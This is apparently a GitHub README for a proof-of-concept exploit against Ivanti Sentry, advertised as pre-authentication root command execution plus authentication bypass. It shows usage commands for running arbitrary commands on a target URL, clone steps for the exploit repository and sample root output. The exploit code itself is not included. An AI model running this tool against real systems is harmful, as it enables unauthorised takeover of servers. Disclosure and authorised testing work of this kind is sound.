🎯 CVE-2026-10520 & CVE-2026-10523 - Ivanti Sentry

Pre-Authentication Remote Code Execution + Authentication Bypass

Author: Ashraf Zaryouh "0xBlackash"

📌 Overview

Two critical vulnerabilities affecting Ivanti Sentry (formerly MobileIron Sentry):

CVE-2026-10520 → CVSS 10.0 - Pre-auth OS Command Injection (RCE as root)
CVE-2026-10523 → CVSS 9.9 - Authentication Bypass

These flaws allow unauthenticated attackers to achieve full system compromise.

✨ Features

✅ Clean & Fast PoC
✅ Pre-Authentication (No credentials needed)
✅ Root-level command execution
✅ Detailed output formatting
✅ Proxy support
✅ Verbose mode
✅ Beautiful terminal UI

🚀 Usage

python3 CVE-2026-10520.py --url <TARGET> --cmd <COMMAND>

Examples

# Basic usage
python3 CVE-2026-10520.py --url https://target.com:8443 --cmd "id"

# Verbose mode
python3 CVE-2026-10520.py --url https://target.com:8443 --cmd "whoami" -v

# With proxy
python3 CVE-2026-10520.py --url https://target.com:8443 --cmd "uname -a" --proxy 127.0.0.1:8080

# Check kernel
python3 CVE-2026-10520.py --url https://target.com:8443 --cmd "uname -a"

📋 Options

🛠️ Installation

git clone https://github.com/0xBlackash/CVE-2026-10520.git
cd CVE-2026-10520
chmod +x CVE-2026-10520.py

📷 Successful Exploitation

When vulnerable, you will see:


 ██████╗ ██╗  ██╗██████╗ ██╗      █████╗  ██████╗██╗  ██╗ █████╗ ███████╗██╗  ██╗
██╔═████╗╚██╗██╔╝██╔══██╗██║     ██╔══██╗██╔════╝██║ ██╔╝██╔══██╗██╔════╝██║  ██║
██║██╔██║ ╚███╔╝ ██████╔╝██║     ███████║██║     █████╔╝ ███████║███████╗███████║
████╔╝██║ ██╔██╗ ██╔══██╗██║     ██╔══██║██║     ██╔═██╗ ██╔══██║╚════██║██╔══██║
╚██████╔╝██╔╝ ██╗██████╔╝███████╗██║  ██║╚██████╗██║  ██╗██║  ██║███████║██║  ██║
 ╚═════╝ ╚═╝  ╚═╝╚═════╝ ╚══════╝╚═╝  ╚═╝ ╚═════╝╚═╝  ╚═╝╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝
  
          CVE-2026-10520 & CVE-2026-10523 PoC Exploit
          Ivanti Sentry Pre-Auth RCE + Auth Bypass
          
          Author: Ashraf Zaryouh "0xBlackash"
          GitHub: https://github.com/0xBlackash


[+] Target is VULNERABLE!
Command Output:
uid=0(root) gid=0(root) groups=0(root)

⚠️ Disclaimer

This tool is for educational and authorized security testing only.
Unauthorized use against systems you do not own is illegal.
The author takes no responsibility for misuse.

🔧 Affected Versions

Ivanti Sentry before 10.5.2, 10.6.2, 10.7.1

Fixed in: 10.5.2 / 10.6.2 / 10.7.1

📜 References

Official Ivanti Advisory
watchTowr Labs Original Research
NVD Entries: CVE-2026-10520, CVE-2026-10523

Made with ❤️ by Ashraf Zaryouh "0xBlackash"

Star the repo if you found it useful! ⭐

`--url`	Target URL (e.g. https://target:8443)	Yes
`--cmd`	Command to execute	Yes
`-v, --verbose`	Enable verbose output	No
`--proxy`	HTTP proxy (host:port)	No

CVE-2026-10520

Most Popular